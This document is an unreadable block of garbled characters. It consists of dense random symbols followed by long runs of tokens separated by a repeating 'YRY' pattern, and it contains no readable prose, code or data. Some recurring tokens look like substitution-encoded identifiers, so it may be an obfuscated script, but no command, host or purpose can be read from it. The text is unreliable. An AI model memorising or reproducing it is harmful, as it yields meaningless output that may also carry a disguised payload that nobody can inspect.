MV)WYRYF5FVLB(AL/E7UCX)@YRYZQFXFLB(AL//UYRY,K(AEUB7>A/,YRY5@]C)X2_MFYRYX)55:MV'YRYA/SS;YRYV)@@YRYSS;E7UYRY2_MFYRY
FLB(AL/E7UZQFXFLB(AL//UYRY,K(AEUB7>A/,YRYB!(UGA7YRYX)55:MV'YRYAL"Y6UK(YRYB!"YYRY"YU+.!UKL!UYRYBO\SKI.CG[E5&:OA:!W/Q\G:)OJ/(5(* S^/Q]
(C;:AOC>:LZQ]33:M/*!(36@KV#GGKC2WW;(O>S@;KJOG\HK OJ+	E\&:S*V"Y	
#\WS5*#!LVM]M7U.=[CWF/\C7;O\F>X S2
W=&EE]*U+=	2;	* H#'!K_(.3H:H@*$E*$WXJ#X+J/I^=+	 $ZO
@KFZK	"YWJ"Y$Z"Y$JUKX\E
"Y6(A_@=		*]ISUZ/	_2#L+]!LCE$V3// >@6H!:F2'I>$_GHS$7&!(#6.A5&O[KFOF6['O)U$O==)QW;!F *>=	["YA+$$: 3 Z$"Y**3.C^
MX\L*Q6VEI7J3/5^=]]]J.H'[$]\\:G2\$_]3@	;7^G3E=U/	V3/QV\Z+U2VK(M=	ZS\*J)B\^C53$^XM662I.E;_B'/J
S3WE
U>UQ+5O	V)*!J;!A6$^GH=_@5(:5)=H"Y^&:3UQI[F"Y;W[__(2"Y>7#AL]'H#E:/J$H\7$_6 $A(
V7G];LAX^+]]6V[V)J;Z2V[OBI][JE$M:2Z_6V![JSO
I#>=JMS;M"Y:[Q5[K7>E)AJU2+*[=GS>H@*^JZX :&@@H:O>
[
2]W&_52Z_HZG6MZV_	//(]ASWK7'"Y2!7S	HLZ=5>I](X H2SM:FB[
IVM.A2:*+'^OBF\S.&+]G&V3/HB)OX^@=+UE)/5'AU/$FOILVW[JZ\(W.3C	3.S&$@
Z\(*XLIF'J	W#6	UEE/V
^G'_3C+GUEZ][^:)\./G	>$^]]7B
B	@"YSEA3GO!"Y2/']V"Y6=WW:*W("YEBFGS\>#>U>!$H"Y^'2"Y*^! A_EQ"Y/V]C!*@>2Q3! "YI3J).ZQ	KA@.MX#I55](	BI.O UWQ$#C@GX*^	 7#3UJOU)&[JE@BJ5OB>:_^C$VB=3[[	^3	 VI =^[[_EF:)Q
B>B=S(QBJ	6ZX3OK^ )FM'J=F$.!C3\S:E)[Q(J!>J6\Q'3OBG#\SG]E:O	M;G6IB2J$;/^.V#Z2QJ7JS ^!3*K"Y_& W*)W*$;B*(XAVL JJL!J [) '!K E_F!B2*7!>+.	.\7F=#>KS]I  =F5J3>6!
($B6HCF	GX&KK@^5>UM7XC=6&*$'L&(
 $QOE\ Q	+HV$WZOLE\)+IXB^COS_G$@]!5L!A^.=*=;BJ_)2A/G(['G\.Q]	O5\I)O^5"YHI]^	7J2J''2I	 K:X	>$36;@'I$5>5U2Q[M\)+6SK!*&BBS^ZF/SO#X3@*;MV
G>C23;OZ]:!S$X^'=Z7J;)'E(F;;>.BU[I^.GSFLG75\BCS@]GEE7*"Y^Z7U_:IS$AJ2L"YEEV/"Y6	3	"Y.^@'"YWBQ'>;L67^#*\M\GM$7M7_'>)AAQL^]'\F;H'V2B6#G$]O/X


!Q@];Q\7+62+_U+_C+X	
^77F)JBHC_5EM	#SXSMQ)3'!BM6OUES2!G;#2*3*.[C5FEVI@;.( C@
LH.F57MS3_3S
*@7==K@.E
7QK	!&Q*/=.E;GEGO7EKO@:].Q\+H"Y5"Y>"Y@+C3FCZB[2\CB"YOCW'O=O2+\M+HGC2@ZS_>M)$\ ./G+;/)A#2)^"Y(J_ECK3F&O$V(*^CGAV"Y	B H>\'+M77*5'_H3!M.5+[LG_+(K2$^=+W"Y&H[\3"YV373U@WX&FK2VM=W(LC*B*:!+M_V[M$S7E]AUX(]:> :U2[	VL*UQ)L2\:$7V[O#OW&'67"YO $>;L5K_W./6F
M)GQ	WC=@(FK73C=[J!S..W

	\7OO7# /$=^*]>J[\;F@\.\)> ]QFI	OJ]7:5AE]ME +GFI=SW(U=*:Q5*UQQGG^7+='Z*[I\^=._^HHIC2]F&2L)> H&LKOX\7]I*QV\6[O
($B!F']QU3(O2S*O;S#)7V57BW*_73\W]!"Y3:I7/!@#SW	5*Z	K(7&>2K_V]
[;	 :\;:B^	.:/JL['()OI6	6
$)X	6:Q7(*^FA'OU#U^G>
=B6$OG&G*KGGC&V5.E7O['CF2I^[7*\("Y '3@J7Q)HO.L+LKBZ@7+V:6=J:
XAUKW:!
=)QCI"YXV6[W^
/=C2[G'#;M@CM)7U
!M@\&>=5  U;SQ#"Y_&BJ#:Z6+>E&@=H;ZC)3B6U!VB \H252@7$E&CL@!^G3"Y"Y2+5H5/B']
HW#_W=X3]@I^O2
3B)H!Q	2.$\;)>;[#
!I>)BV(5^2&3W&3#*2Z'IC:_H*"Y	+I\W/)O;U3/K>H	S/)CZH"Y]#_#Z@V3
C2\3W+GL'IBJ2;6WM7K@(]!B6I3
BU2)/_!5]C(IGXF:;7	
3>/Z6GGCJO@#UW LQSU:"Y[*3UHM\/7@E^L3I;+$.B)BZ\
MB]\J"YGX[6/G@K6\6_^]F6+QZ/FJ]BK*O2'3;VW+M##]$@UUVH:'	K:W=[.E@F:[[\F!)#^AH7
+[7:	\L;"Y5E_
 G/+K (:@#
&>B&	'B5\;ZSSEL.[M!>'+W3&W[/>6&Z.S>O*KWLH5E6\2YRY(S7U/YRYM:
2MQYRYABYRYABYRYA/(YRYG/K(AL/U*A(YRYKL/(U/(S7YRYG/K(AL/U*A(YRY>U(A(US7YWRVY	BKL/(U/(YRY\((B		YRY\((B		YRY\((B		YRY\((B		YRY\LUS7YRYBYRY	BYRYA/(YRY\((B		YRYBSU>SUB7KUYRY08\((B		0YRYKB>UYRYA(SA/>YRYKB>UYRYKL/(SK(YRYSBKYRY!A/:UYRYABS7YRY7>YRYA/(77USS7YRYSA(U'U;YRYJYRYB>UVL!UYRYA(SA/>YRY"YU+.U/KL!UYRYES
V:)) 
)WBSU(L"Y""YRY""YRYES
VFWV""YRY""YRYKL/GA>YRYKL/GA>A>YRY!=YRY(S(L7LUSYRY\((B		YRY(S7U/YRYKK\U!YRYA!ASYRYA!ASYRYJYRYYRYA/((B7AA/>YRYA/(YRYYRYG/K(AL/U*A(YRY>U((S/AU/(YRYASS;YRY(S7U/YRY"YU+.!UKL!UYRY9YWRVY(SSUB7KUYRY>U((S/AU/(YRYM:
2MQYRY(SSUBU(YRYA(SA/>YRYKK\U!YRYA(SA/>YRY(S(L7LUSYRYKL/GA>A>YRYGA7UU*A(YRYU(BYRYA/(YRY	YRY"YU/UYRYABYRYKA/A!U!YRYS(SAYRY	?/(LBSUBU/!GA7U?R?RT"",%T8"",?S?/%RYRYT8"",?S?/%RT"",%?S?/	AYRYA(SA/>YRY/A(B7YRYKYRY!ASYRY"YU+.U/KL!UYRYK7(GU(K\(YRYA/AYRY/A(B7AA/>YRY!=YRY	?YRYGA7UU*A(YRY	(LBSUBU/!GA7U?R?RT"",%T8"",?S?/%[?]	AYRY(SAYRY/L/UYRY9B\BYRY(S;14A/K7!UL/KUYRYESU*BLS(YRYDK(K\?\SL"Y7UU1DK(K\?F*KUB(AL/U1DYRYKB!AS/UC5F""	YRYAG4AGA7UKB1KK4GA7U>U(KL/(U/(KBAGA(SA/>KK1YRYAG(S7U/KK<].$=+KKBSU>SUB7KU,	?/?	?RTIG%1]-D?R?	[	,-,,-KKYRYAGA(SA/>KK!=KK,YRY,1(S;14A/K7!UL/KUKBDK(K\?\SL"Y7UU1DK(K\?F*KUB(AL/U1DD/U(KKDD/U(KBYRYGA7U>U(KL/(U/(YRY!=YRYA/ASBYRYGA7U>U(KL/(U/(YRYAGA7UYRYEUSAG;GA7YRYGA7U>U(KL/(U/(YRYAGA7UYWRVYA/AYRYEUSAG;GA7YRYKA/AGA7YRY(AUYRYA/AYRYKASKA(LBU/YRYS(SAYRY	?YRY	?YRYAGA7UYRYA(SA/>YRYSU!GA7U!YRY"Y(SYRYS(SAYRY(LBSUBU/!GA7U""YRY(AUYRYKA/ABU/!A/>YRY/LYRY/LYRYKA/A!U!YRYKA/AGA7YRYKA/A!U!YRY(AUYRYA/AYRYBSL"YU=YRY(AUYRY/LYRYKASKA(LBU/YRY
VM)2XF2FW_YRY
VQ2XF2YRY/LYRYUSA/AKK\U((7YRY(AUYRY/LYRYKA/ABU/!A/>YRYBSL"YU!U!YRYB\BBA/UYRYK7AYRY	\(KKUYRY)B(AL//!U*UYRY9CA7U@(K\""?ABN7L>NH7""<YRY9G@L!7UL!(\KLSUK<YRYXUHASU77!U/AU!YRY9	G@L!7U<YRY9G@L!7UPL!(\KLSUK<YRY_U/;GSL77YRY9	G@L!7U<YRY9	CA7U@(K\<YRYGA7U>U(KL/(U/(YRY\(YWRVY(S7U/YRY\(7YRY!AS/UYRYK7(GU(K\(YRY\((B7AA/>YRY\(KKUYRY	?YRY	(LBSUBU/!GA7U?RN??RT"",%T8"",?S?/%[?]	AYRY	89?B\B	YRY9B\B(S;14A/K7!UL/KUYRYDK(K\?\SL"Y7UU1DK(K\?F*KUB(AL/U1DYRY\(YRYBKSUGA7YRYGA7UU*A(YRYGA7U>U(KL/(U/(YRYK\(!U!YRY(SBLYRY\(7L!USYRYK\(GA7YRYB\BE7U(LBSUBU/!GA7UYRYG/K(AL/U*A(YRYGLBU/YRYAGA7UYRYGA7U>U(KL/(U/(YRYG7LKJYRYG7LKJYRYG/K(AL/U*A(YRYG7LKJYRYG7LKJYRY""YRY""YRY""YRYG7LKJYRY/LYRYK\(!U!YRY\(YRYLB(YRY(S7U/YRYG/K(AL/U*A(YRYB!(ULB(AL/YRY/LYRY_:Q)
YRY_:
FXYRY_:2M

Z)X_YRY;H7AYRY_:2M

Z)X_YRYB!"YYRYBYRY;H7AYRYLKYWRVY	BL"Y6UK(KK\UYRY!(YRYGA7U>U(KL/(U/(YRY(S7U/YRY
V_]YRY(S7U/YRY"Y(SYRYASS;YRYG/K(AL/U*A(YRY"Y(SYRYA(SA/>YRYAGA7UYRYB\BYRYA(SA/>YRYBSU>SUB7KUYRY	89?B\B?R	YRYA(SA/>YRYLKYRY	R
V)V:F&WYRYR	YRY	R
V)VFW_YRY9B\B	RBL"Y6UK(KK\UYRYR		R
V)VOYRYR	YRYAGA7UYRYLKYRYK/S;SGA7YRYGA7U>U(KL/(U/(YRYA(SA/>YRY
V)V:F&WYRYBL"Y6UK(KK\UYRY	
V)VO?![??![??![	YRYLKYRY	?/?	?R
V)V:F&WTMI%RYRY?R?	R?	?R
V)VFW_?]?R?	?/	YRYA(SA/>YRYLKYRYLKYRYSUA/KBYRY	RBL"Y6UK(KK\UYRY	8
V_]?![??![??![	YRYKLK!(LJYRY!(KLSSB(YRY
V_]YRY!=YRY"YU+.U/KL!UYRY(AUYRYLKYRYG(LJYRYBKL/GA>B\BYWRVY\LBLBU/YRYG/K(AL/U*A(YRYG(LJYRYG/K(AL/U*A(YRY\\YRY\=+YRY
V
Q@]YRY\LBAUYRY\LBSU!YRY\LBK7LUYRY\LBSA(UYRY(SB!YRY\LBSU!YRY\LBYRY\LB!U7U(UYRYEUSAG;GA7YRYA(SA/>YRY	9?B\B	AYRYA(SA/>YRY	8?R!UK7SU?R?R??RN/UBKU?[T81%[?R	AYRY(S7U/YRY"Y(SYRY9B\BYRYKSUA/YRYU*B7L!UYRY(AUYRYB!(ULB(AL/YRY(AUYRY(SBLYRYKSUA/YRY!SLBA/YRY(>LGSYRYM:
2MQYRYASA("Y7UYRYB\BYRYABYRYLB(YRYG(LJYRYA/(E7YRYB!"YYRY
VM_O5YRY!EYRY!E(B7AA/>YRY!EYRY	R
VM_O:F&WYRYR	YRY	R
VM_OFW_YRYR	YRY	?	?R
VM_O:F&WTMI%RYRY?R?	R?	?R
VM_OFW_?]?R?		YWRVY
VM_O5)M_F_YRY	T?(%RAG?R??R!UGA/U!?R??RT"",%
VM_O5)M_F_T"",%?R??R??RSU(S/?RT8?S?/%R	YRYA(SA/>YRY!EYRYBSU>SUB7KUYRY	89?B\B?R	YRY!EYRYG/K(AL/U*A(YRY>U((S/AU/(YRYK>S!YRYA!ASYRYBA/K7!UYRYASA("Y7UYRY	>7YRY	>*YRY(AUYRY	>YRYBA/K7!UYRYLBKK\UA/E7A!(UYRYAGA7UYRY(AUYRY	>EYRYBSU>(K\YRY	8?![??![??![	YRYAGA7UYRY	>YRYU*B7L!UYRYSUBBUK(U!YRY(AUYRY>S!YRY/L((YRY"YU/UYRYASA("Y7UYRY\LUS7YRYBSUS7YRYZ2@25&W_XYRY"YU+.U/KL!UYRY"YU+.U/KL!UYRY"YU+.U/KL!UYRYB\BYRY>S!(B7AA/>YRY>S!(B7A/E7A!YRY	>YRYK>S!YRY"Y(SKL/(YRY(S7U/YRYA(SA/>YRYSKYRY(S7U/YRYA(SA/>YWRVY(S7U/YRY"Y(SYRY/BKJYRYG/K(AL/U*A(YRY!AJGSUUBKUYRYM:
2MQYRYKB!LGG(YRY/LYRYG/K(AL/U*A(YRY(AUYRYS(SAYRY<YRYG/K(AL/U*A(YRYS/!L"Y;(UYRY"YA/\U*YRYR	YRY	?S?/?	?RTIG%1]-D?R?	[	YRYG/K(AL/U*A(YRYB!(ULB(AL/YRYAGA7UYRYKL/YRYKL/YRYKL//AGU(YRYASS;YRYKL/YRY(S7U/YRYASS;YRY(AUYRYKL/(YRYASS;YRYKL/YRYKL/YRYKL//AGU(YRYKL/YRY!=YRYGA7UAUYRYL!AGAU!YRYGA7U>U(KL/(U/(YRYA(SA/>YRYBSU>(K\YRY(S7U/YRY7U>K;YRYGA7U>U(KL/(U/(YRY(S7U/YRY	L/YRYL/YRYB\BYRY>U(LB(AL/YRYKL/SUKYRYASS;YWRVYSUHYRYSUHYRY(AUYRYLJYRY((UYRY"YLL((YRYLJYRY>U/YRYB(\YRY7>YRY"YU/UYRYB\BYRY((UYRY(S((YRY"YLL((YRYXF#F
@FYRYG/K(AL/U*A(YRYLJYRY/J/L/YRYA(SA/>YRYBSU>(K\YRY	?	?RTIG%1]-D?R?	?R	YRYB\BYRYAGA7UYRY(AUYRY(SAYRYGA7U>U(KL/(U/(YRY(S7U/YRYG/K(AL/U*A(YRY>U(LB(AL/YRYG/K(AL/U*A(YRYB!(ULB(AL/YRYK!UGUSSU!!U7YRY/LYRY>U(LB(AL/YRYASS;YRYG/K(AL/U*A(YRYAGA7UYRY/LYRYGA7UYRYSU7B(\YRYSU7B(\YRYLJYRYGA7U>U(KL/(U/(YRY
V_]YRY7J>YRYGA7U>U(KL/(U/(YRYKLB;YRY7J>YRYBSU>(K\77YWRVY	"YU+.!UKL!U??R,TMI[?	%1]-D,?R?	YRYBSU>(K\77YRY	>!UKL!UN>A/G7(UN>/KLBSU??R""T8""??%R??T8""??%RR""	YRY?*YRY	??*TIGMC%1D	YRY"YU.K]A*U$=YRYA(SA/>YRY	>!UKL!UN>A/G7(UN>/KLBSU??R,T8,??%R??T8,??%RR,	YRY??YRY?,YRY(SBLYRY>YRY(SBLYRY"YU+.!UKL!UYRY"YU+.!UKL!UYRYBSU>(K\77YRY	>!UKL!UN>A/G7(UN>/KLBSU??R""T8""??%R??T8""??%RR""	YRY(SBLYRYBSU>(K\77YRY	>!UKL!UN>A/G7(UN>/KLBSU??R,T8,??%R??T8,??%RR,	YRY??YRY"Y(SYRY:F&WYRY(S7U/YRY"Y(SYRY"Y(SYRY	8TMI%[	YRYFW_YRY(SBLYRY"Y(SYRYA(SA/>YRY"Y(SYRY(S7U/YRY(\YRY	?	?R
VQ:F&WTMI%RYRY?R?		YRY
VQYRY=B];B\].!+YRY
V__YRY!/6!7L\]IHKJSH"YGYRY	?	?	
VQ5_TGI%[?S?/T8?/%R	YRY/HU*\=$E+7.J7\LYRYA(SA/>YRYA(SA/>YRYM:
2MQYRYBSU>(K\77YRY	?	?R
VQ:F&WTMI%[?R?		YRY!!YRY	?	?R
V__:F&WTMI%[?R?		YRYKKYWRVY\\UH7YRY<YRYG/K(AL/U*A(YRY(SBLYRY"Y7A/!YRY(AUYRYG/K(AL/U*A(YRYA(UYRYASS;YRYA(UYRY(YRY(YRY(SAUYRY(AUYRYK/S;YRY"YJSA(UGA7YRY	(\"YYRY"YJYRY"YJSA(UGA7YRY(SAUYRY(YRYA(UYRY/LYRYSU>A(US\(!L/G/K(AL/YRYL37\*>"Y]J>!H.YRYBSUL(U>U(YRY(AUL(YRY\U!USYRYVK\UVL/(SL7YRY/L(LSU-/LKK\UYRY2S>YRYABUSSLSYRYBSUL(USU(SAUEUSUBL/UKL!UYRYG/K(AL/U*A(YRYBSUL(USU(SAUEU"YL!;YRYG/K(AL/U*A(YRY>U(LB(AL/YRYKK/S;YRYASS;YRY!=YRY(YRY(YRY(SAUYRYA(UYRYG/K(AL/U*A(YRYG/K(AL/U*A(YRYB7L>A/S7YRYA(UYRY(AUYRY(SAUYWRVYK/S;YRY/EUSAGAU!JUUBYRYKKYRYSS7U/KL!UYRYSYRYA(UYRY(SAUYRYK/S;YRYSL77"YKJ=YRYA(UYRY(SAUYRY9P
V'YRYA(UYRYKKYRYSYRYK/S;YRYSL77"YKJ7L>A/=YRY<YRYA(UYRYK7"YL!UYRY"Y7A/!NYRY7"Y"Y7A/!YRY(SBLYRYK7"YL!UYRYLJNYRY/LYRYKK/S;YRY(SBLYRYKGYRY
VQ:F&WYRY!YRY(SBLYRY
VOYRY	
V_:NM_ON)V:F&W?![??![??![	YRYGA7UAUYRYUUBYRY/U(S7AUGLSUA>/JABYRY	
V_:NM_ON)V:F&W?![??![??![	YRY(S7U/YRY	T?(%R?	?R
V_:NM_ON)V:F&WTMI%[?R?	R?	?R
V?]FW_??R?	T?(%R?S?/	YRYGA7U(AUYRY!AS/UYRYK!YRYGA7UB(KL/(U/(YRY/7A/JYRY/7A/JYRY(LK\YRYLBKK\UA/E7A!(UYRYBSU>(K\YRY	AGA7U??R,T8,%[,?R?	YWRVYSU7B(\YRYS(SAYRY	!YRYUUBYRY!!"YGLSUA>/JABYRYASS;YRY(SBLYRYLKJ
SE'U;YRYM:
2MQYRYAGA7UYRY	BKL/GA>B\BYRYGA7U>U(KL/(U/(YRYA(SA/>YRY(SBLYRYZ2VLSU/(U>SA(;YRY	(B	B\BYRY(SBLYRYZ2F@2_XYRY	(BYRY	!UGA/U?R??RT,""%Z2VMVQFT,""%	YRYGA7U>U(KL/(U/(YRY
VM_O:F&WYRY	!UGA/U?R??RT,""%M:
2MQT,""%T8?/%R?/!UGA/U?,Z2VMVQF,-(SU??/	YRY	!UGA/U?R??RT,""%Z2_F:&T,""%?R-?R(SU?R?	AYRY	!UGA/U?R??RT,""%Z2_F:&5)&T,""%?R-?R(SU?R?	AYRY	!UGA/U?R??RT,""%Z2_F:&_
25M^T,""%?R-?RG7U?R?	AYRY	T?(%R?	?RZ2VLSU/(U>SA(;TGI%[?R?	R?	?RF/!Z2VLSU/(U>SA(;?]?R?	T?(%R?S?/	YRYBSU>(K\77YRY	8T?(%RAG?R??RP?RGA7UU*A(??R,?	(B?	B\BTMI%[,T8?/%R?/T?(%RAG?R??R?LT8?/%R?/	YRYAB7L!UYRYBSU>SUB7KUYRY	!UGA/U?R??RT,""%M:
2MQT,""%T8?/%R?/	YRY	!UGA/U?R??RT,""%M:
2MQT,""%T8?/%R?/	YRY]YRY]YRYBSU>SUB7KUYRY	!UGA/U?R??RT,""%M:
2MQT,""%T8?/%R?/!UGA/U?,Z2VMVQF,-(SU??/	YRYA(SA/>YRY	8T?(%R!UGA/U?R??RT,""%Z2_F:&5)&N_
25M^T,""%?R-T8?/%R?/	AYRY	!UGA/U?R??RT,""%M:
2MQT,""%T8?/%R?/	YRY]YRYBKYRYK/S;SGA7YRY	!UGA/U?R??RT,""%M:
2MQT,""%T8?/%R?/!UGA/U?,Z2VMVQF,-(SU??	?R
VZV?R?	?/	YRY(UB/YRYKYRY/7A/JYRYBSU>(K\77YRY	,?	(B?	B\BTMI%[,	YRY(SBLYWRVY!U7U(ULB(AL/YRYBSU>(K\77YRY	LB(AL//U?R?R,T8,%[,	YRY	8A(U(S/AU/(\U7(\NGUU!TGI%[	YRYZ2V)WFW_XYRYA!ASYRYM:
2MQYRY!ASYRYAGA7UYRYA(SA/>YRYGLSUA>/JABYRYLGGYRY!AS/UYRY>7L"YYRY	R	G/K(AL/B\BYRYGA7U>U(KL/(U/(YRYA(SA/>YRY(SBLYRY
V__:F&WYRY
VQ5_YRYG/K(AL/U*A(YRYLBKK\UA/E7A!(UYRYG/K(AL/U*A(YRYG/K(AL/U*A(YRYJ=!6\!GEIL\.SBYRY"YU+.!UKL!UYRYL;7/I3IA+B;IYRYSKYRYA(SA/>YRY(S7U/YRYG/K(AL/U*A(YRYAE!($BB!$+YRYGK$]I.U;7*"YGA>H3YRY/LYRYK"YLL((JYRY"YLL(YRY7U>K;(JULEUSYRYKBUSA(U!YRYA(UYRYL37\*>"Y]J>!H.YRY	!"YB\BYRY7A/UYRYA/A>U(YRYUSA/AGA7U/UYRYKA/A!U!YRY(AUYRY7!SYRY7A/UYRY7A/UYRYBL"Y6UK(KK\UYWRVYKBUSA(/AGU(YRY((YRYAUYRY(AUYRY	?NS?![	YRY(S7U/YRY(S7U/YRYB\BYRY	B7>A/	YRYAGA7UYRYA/SS;YRY	!"YB\BYRY"Y(SYRY	G/K(AL/B\BYRYAUYRYNSYRY"Y(SYRYNYRYKK\A/YRYBUSA(YRY"YA>YRYGA7U>U(KL/(U/(YRY(SBLYRYG/K(AL/U*A(YRY>U(LB(AL/YRYKBU/!A/>A/E7A!(UYRYKBU/!A/>A/E7A!(UYRY\(7YRY7!SYRYB\BYRYA/(YRY
V_:YRYBSU>SUB7KUYRY	
V)VO?![??![??![	YRY(SBLYRY9B\B	RBL"Y6UK(KK\UYRY	?/?	?R
V)V:F&WTMI%[?R?	R?	?R
V)VFW_?]?R?	?/	YRY	KK\UYRY	KK\UYRY>7L"YYRY	B7L!	R	R	YRY>7L"YYRY	(\UU	R	YRYBA/K7!U	YRYRB\BYRYRB\BYRY	>*YRYA/E7YRY>7L"YYRY>YWRVY>JYRY>BYRY>(YRY>YRY>EYRY>YRY>S!YRY>7L"YYRY	>SRB\BYRYGA7U>U(KL/(U/(YRY(LBSUBU/!GA7UYRYBSU>SUB7KUYRYBSU>HL(UYRYA(SA/>YRYA(SA/>YRYBSU>SUB7KUYRYT8?/%R?/	AYRY!AS/UYRYAGA7UYRYAGA7UYRYASA("Y7UYRYA(SA/>YRY	T?(%R!UGA/U?R??RT,""%Z2VMVQFT,""%?R-?R(SU?R??R?R?	?R
VZV?R?	T?(%R?S?/	YRYA(SA/>YRYGA7U(AUYRYG/K(AL/U*A(YRYUSA/AYRYGA7U>U(KL/(U/(YRY(SBLYRYBSU>SUB7KUYRY	(LBSUBU/!GA7U?RRYRYR?/	AYRYAGA7UYRY9B\BYRY/HU*\=$E+7.J7\LYRY
V__YRY\LBLBU/YRYG(LJYRY\LBLBU/YRY\LB!U7U(UYRY\LBK7LUYRYG/K(AL/U*A(YRY>U(LB(AL/YRYA(UYRYKLK!(LJYRYK\(GA7YRYK\(!U!YRYKA/AGA7YRYBK7USK\U!7U!\LLJYRYBHG7/BA/GEKLSJGILYWRVYKKSL/>S!YRYA/E7A!(UYRY!"YYRY	R
V_::F&WYRY	R
V_:FW_YRYBSU>SUB7KUYRY	?	?R
V_::F&WTMI%RYRY?R?	R?	?R
V_:FW_?]?R?		YRY
V_:5)M_F_YRY	T?(%RAG?R??R!UGA/U!?R??RT"",%
V_:5)M_F_T"",%?R??R??RSU(S/?RT8?S?/%R	YRYA(SA/>YRY
V_:5YRY!"Y(B7AA/>YRY(S7U/YRYSUA/KBYRYG/K(AL/U*A(YRY	(\UU	YRY	G/K(AL/B\BYRY(UB7(UYRY	(\EYRYAGA7UYRYGA7U>U(KL/(U/(YRYE/A\SU(LSU!YRYK(\!U!YRY(AUYRY(\UUYRY	R
VQ:F&WYRY	R
VQFW_YRY
VQ5YRYB\BYRY(\UU(B7AA/>YRYG/K(AL/U*A(YRYGLBU/YRYGLBU/YRYG/K(AL/U*A(YRYGA7U>U(KL/(U/(YRYG7LKJYRY(S7U/YRY(SBLYRYASA("Y7UYRY	(\EYRY(\YRY/EE"Y>/=.6;JYRY	?	?	
VQ5_TGI%[?S?/T8?/%R	YRYBKSUGA7YRY(SBLYRY(SBLYRYAGA7UYRYLSB\/YRYA(SA/>YWRVY(S7U/YRY(SBLYRY"Y(SYRYS(SAYRY(\UUYRYABYRYB\BYRY(S7U/YRY\(YRYSKUB(;YRYABMSK\AEUYRY	B7L!	YRY!(UYRY^		YRYZ2V)WFW_XYRYBKL/(U/(YRYASS;YRYA!ASYRYABMSK\AEUYRY\LS7;YRYKKSL/>S!YRYKSL/U(BYRYM:
2MQYRYG/K(AL/U*A(YRYS.J]*KJ+3/H!=JYRY.;L**(HJ.BSYRYAGA7UYRY(AUYRYAGA7UYRYAGA7UYRY!=GA7UYRYG/K(AL/U*A(YRYKSL/>S!YRY"YU/UYRY3*!;.\HI\>6YRY(S7U/YRY"YU+.!UKL!UYRYA/(77U!YRYB\BYRYA!ASYRYBSU>(K\YRY	?	?R
VO?![??![??![?R?		YRY"Y(SYRY!=YRYK(AEUB7>A/YRYSS;E7UYRYA!ASYRYB\BYRYBSU>(K\YRYGA7U(AUYWRVYKSL/SUKYRYA(SA/>YRYB\BYRYQ2	]]..WL(CL/!YRYB!(ULB(AL/YRY(S7U/YRYBSU>(K\YRY	8?R?N?	?RN?	?	NESN7U(NKL/(NG/K(AL/NU7G?	YRYBSU>(K\YRY	8TMI[?	?S?/%[	YRY(S7U/YRYVL/(U/(;BUBB7AK(AL/	6EKSAB(YRY
USEAKUZLSJUSM77LU!	YRYQ2	]].WLVL/(U/(YRYKL/GA>YRYQ2CW)WF@MVQYRY(SAYRYQ2	]]3.WL(@L!AGAU!YRYF>YRYL"Y>U(7UEU7YRYVL/(U/(;BUBB7AK(AL/	6EKSAB(YRYVK\UVL/(SL7/LKK\UYRYUBYRYKEUSAG;YRYKEUSAG;YRY\LUS7YRY>U(LB(AL/YRYQ2Q)
YRY	?![	YRYNEUSAG;YRYKU/(AKBSL"YUNYRYVL/(U/(;BU(U*(	B7A/YRYVK\UVL/(SL7/L(LSUYRY
V
F@YRY
V
F@CM5YRYEUSAG;UBYRYSLKJU(K7U/!LA/YRY3(KG7\77YRYG/K(AL/U*A(YRY7A(UBUU!BS>U77YRY5A(U
BUU!VK\UM2YRYU(\L!U*A(YRY5A(U
BUU!VK\UM2YRYBS>U77YRY:SUUU2S>UVK\UYRY"YSUUUKK\UG7\YRYK7U*A(YRYK7US(L(7KK\UYRYBGKK7US77KK\UYRYU(\L!U*A(YWRVY!U7U(UVK\UYRYG/K(AL/U*A(YRYBKK\UK7USKK\UYRY(LB(AAUVK\UYRYK7US77YRYBS>UL/6K\/>UYRYKK\UYRYB!LA/>6*YRYXF
XF#F
YRY@5X2VXF#F
YRYG/K(AL/U*A(YRYAGUU!YRYG/K(AL/U*A(YRYASL"YL(YRYG/K(AL/U*A(YRYAA(UBYRYAK(LAUBSUEAUYRYU7UU/(LSBSUEAUYRYK(LAUK\/>UU(A!YRYG7"YA7!USYRYK6YRY(SAYRY(SSUB7KUYRY9	KSAB(YRY9?	KSAB(YRY(S(L7LUSYRY"Y(SYRY>U(LB(AL/YRYB!(ULB(AL/YRYK6BSA/(/L(UYRY(AUYRY/LYRYA(SA/>YRY9	"YL!;<YRY9\(7YRY9	"YL!;<YRYK6L"YYRYK6YRYK6YRYK6YRYK6L"YYRYL"Y(S(YRYG!*=$$J3]+;YRYB>U/LYRYB7L>A/B\BYRYA7YRYS7YRYG/K(AL/U*A(YRY>U(LB(AL/YRY/LYWRVYK7(S7YRY9KSAB(!(KYRYES!G/K(AL/\1ESS""""-AGLSAA9\7U/>(\A[S[
(SA/>GSLV\SVL!UBSU/(\"Y(SA--]+SU(S/SD-YRY/EA>(LST!""YRYUSEAKUZLSJUSYRY""%-YRY7YRYAGT!""YRY>U(XU>A(S(AL/YRY""%(\U/G/K(AL/S1SGLSFK\G/K(AL/S1ESP7YRYAGPT!""YRYK(AEUYRY""-!""YRYA(A/>YRYA/(77A/>YRY""%GLSFK\G/K(AL/J1AGSTJ%STJ%T!""YRYKSAB(X5YRY""%7]DYRYAGST!""YRY/SU>A(USYRY""%DDT!""YRYK(K\YRY""%G/K(AL/1DYRY9	KSAB(<YRY\((B		YRY7(SAYRY""%YRYAG1YRYT!""YRY>U(XU>A(S(AL/YRY""%YRY6L/U/KL!UYRY(\U/G/K(AL/S1AGPST!""YRYSU>A(USYRY6L/U/KL!UYRY-1KLBUYRY6L/U/KL!UYRYDT!""YRY""%G/K(AL/1DDYRYT!""YRY""%G/K(AL/1DYRYT!""YRY!!FEU/(5A(U/USYRY""%!""YRY""-G/K(AL/U1YRYESEUT!""YRY!(YRYAGEEK1(S;1/UC/K(AL/(L"YEKDK(K\*1DDDYRYSU!;YRY""%(\U/G/K(AL/S1YWRVYST!""YRY""%T!""YRYBL(@U>UYRY""%1(""S""DDDYRYSU>YRYGA7U>U(KL/(U/(YRY	?	?R
VO?![??![??![?R?		YRYZ2@25&W_XYRY	B7>A/YRYA!ASYRYASS;YRY"Y(SYRY(SBLYRYBSU>(K\YRY	?	?R
